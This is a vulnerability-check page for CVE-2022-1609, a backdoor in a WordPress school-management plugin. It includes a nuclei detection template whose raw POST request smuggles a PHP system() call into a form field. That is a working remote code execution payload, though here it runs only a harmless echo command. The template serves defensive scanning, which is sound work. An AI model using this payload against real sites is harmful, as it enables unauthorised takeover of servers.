The School Management < 9.9.7 - Remote Code Execution

criticalseverity

9.8CVSS score

64.1%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

The School Management plugin before version 9.9.7 contains an obfuscated backdoor injected in it's license checking code that registers a REST API handler, allowing an unauthenticated attacker to execute arbitrary PHP code on the site.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Upgrade The School Management to version 9.9.7 or later to mitigate this vulnerability.

How to confirm it

Send: POST /wp-json/am-member/license
Positive when: contains "9061-2202-EVC"

Run it with nuclei: nuclei -id CVE-2022-1609 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-1609

info:
  name: The School Management < 9.9.7 - Remote Code Execution
  author: For3stCo1d
  severity: critical
  description: The School Management plugin before version 9.9.7 contains an obfuscated backdoor injected in it's license checking code that registers a REST API handler, allowing an unauthenticated attacker to execute arbitrary PHP code on the site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade The School Management to version 9.9.7 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/e2d546c9-85b6-47a4-b951-781b9ae5d0f2
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1609
    - https://github.com/nastar-id/WP-school-management-RCE
    - https://github.com/nomi-sec/PoC-in-GitHub
    - https://github.com/0x007f/cve-2022-1609-exploit
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-1609
    cwe-id: CWE-94
    epss-score: 0.64075
    epss-percentile: 0.99233
    cpe: cpe:2.3:a:weblizar:school_management:*:*:*:*:pro:wordpress:*:*
  metadata:
    verified: false
    max-request: 1
    vendor: weblizar
    product: school_management
    framework: wordpress
  tags: cve,cve2022,rce,wp,backdoor,wpscan,wordpress,weblizar,vkev,vuln
variables:
  cmd: "echo CVE-2022-1609 | rev"

http:
  - raw:
      - |
        POST /wp-json/am-member/license HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        blowfish=1&blowf=system('{{cmd}}');

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '9061-2202-EVC'

References

Use this check only on systems you are authorised to test. Where the data comes from